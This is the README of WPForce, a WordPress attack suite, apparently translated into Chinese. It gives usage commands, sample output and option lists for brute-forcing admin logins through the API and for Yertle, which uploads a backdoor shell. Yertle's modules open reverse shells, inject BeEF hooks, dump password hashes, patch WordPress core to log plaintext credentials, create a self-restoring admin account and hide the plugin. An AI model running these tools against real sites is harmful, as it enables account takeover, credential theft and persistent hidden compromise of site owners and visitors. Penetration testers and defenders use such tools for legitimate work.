WPForce

WPForce - Wordpress 攻擊套件

關於：

WPForce 是一套 Wordpress 攻擊工具。目前，它包含 2 個腳本 - WPForce（透過 API 強制登入）和 Yertle（一旦找到管理員憑證就會上傳 shell）。 Yertle 還包含許多後期開發模組。

有關更多信息，請訪問此處的部落格文章：https://www.n00py.io/2017/03/squeezing-the-juice-out-of-a-compromished-wordpress-server/

其他語言的部落格：

中文 - www.mottoin.com/100381.html

葡萄牙語 - http://www.100security.com.br/wpforce/

西班牙文 - http://www.1024megas.com/2017/05/wpforce-fuerzabruta-postexplotacion.html

https://esgeeks.com/como-hackear-sitio-wordpress-con-wpforce/

俄文 - https://hackware.ru/?p=2547

法文 - https://securityhack3r.info/wpforce-brute-force-attack-tool-wordpress/

土耳其語 - http://turkhackteam.org/web-server-guvenligi/1655005-wordpress-site-sizma-testi-part-1-a.html

特徵：

• 透過 API 進行暴力破解，而不是繞過某些形式的保護的登入表單
• 可以自動上傳互動式shell
• 可用於產生功能齊全的反向 shell
• 轉儲 WordPress 密碼雜湊值
• 可以進行明文密碼擷取的後門認證功能
• 將 BeEF hook 注入所有頁面
• 如果需要，轉向 meterpreter

安裝：

 Yertle requires the requests libary to run.
http://docs.python-requests.org/en/master/user/install/

用法：

 python wpforce.py -i usr.txt -w pass.txt -u "http://www.[website].com"

   ,-~~-.___.       __        __ ____   _____
  / |  x                  / /|  _  |  ___|___   _ __  ___  ___
 (  )        0         / / / | |_) || |_  / _  | '__|/ __|/ _ .
  _/-, ,----'  ____   V  V /  |  __/ |  _|| (_) || |  | (__|  __/
     ====      ||   _ _/_/   |_|    |_|   ___/ |_|   ___|___|
    /  -'~;   ||     |
   /  __/~| ...||__/|-"   Brute Force Attack Tool for Wordpress
 =(  _____||________|                 ~n00py~

Username List: usr.txt (3)
Password List: pass.txt (21)
URL: http://www[website].com
--------------------------
[[email protected] : xxxxxxxxxxxxx] are valid credentials!  - THIS ACCOUNT IS ADMIN
--------------------------
--------------------------
[[email protected] : xxxxxxxxxxxx] are valid credentials!
--------------------------
 100% Percent Complete
All correct pairs:
{'[email protected]': 'xxxxxxxxxxxxx', '[email protected]': 'xxxxxxxxxxxxx'}

 -h, --help            show this help message and exit
  -i INPUT, --input INPUT
                        Input file name
  -w WORDLIST, --wordlist WORDLIST
                        Wordlist file name
  -u URL, --url URL     URL of target
  -v, --verbose         Verbose output. Show the attemps as they happen.
  -t THREADS, --threads THREADS
                        Determines the number of threads to be used, default
                        is 10
  -a AGENT, --agent AGENT
                        Determines the user-agent
  -d, --debug           This option is used for determining issues with the
                        script.


python yertle.py -u "[username]" -p "[password]" -t "http://www.[website].com" -i
     _..---.--.    __   __        _   _
   .' __|/O.__)     / /__ _ __| |_| | ___
  /__.' _/ .-'_     V / _  '__| __| |/ _ .
 (____.'.-_____)    | |  __/ |  | |_| |  __/
  (_/ _)__(_ _)_   |_|___|_|   __|_|___|
   (_..)--(.._)'--'         ~n00py~
      Post-exploitation Module for Wordpress

Backdoor uploaded!
Upload Directory: ebwhbas
os-shell>



  -h, --help            show this help message and exit
  -i, --interactive     Interactive command shell
  -r, --reverse         Reverse Shell
  -t TARGET, --target TARGET
                        URL of target
  -u USERNAME, --username USERNAME
                        Admin username
  -p PASSWORD, --password PASSWORD
                        Admin password
  -li IP, --ip IP       Listener IP
  -lp PORT, --port PORT
                        Listener Port
  -v, --verbose         Verbose output.
  -e EXISTING, --existing EXISTING
                        Skips uploading a shell, and connects to existing
                        shell

Yertle 目前包含以下模組：

 Core Commands
=============
 
Command                   Description
-------                   -----------
?                         Help menu
beef                      Injects a BeEF hook into website
dbcreds                   Prints the database credentials
exit                      Terminate the session
hashdump                  Dumps all WordPress password hashes
help                      Help menu
keylogger                 Patches WordPress core to log plaintext credentials
keylog                    Displays keylog file
meterpreter               Executes a PHP meterpreter stager to connect to metasploit
persist                   Creates an admin account that will re-add itself
quit                      Terminate the session
shell                     Sends a TCP reverse shell to a netcat listener
stealth                   Hides Yertle from the plugins page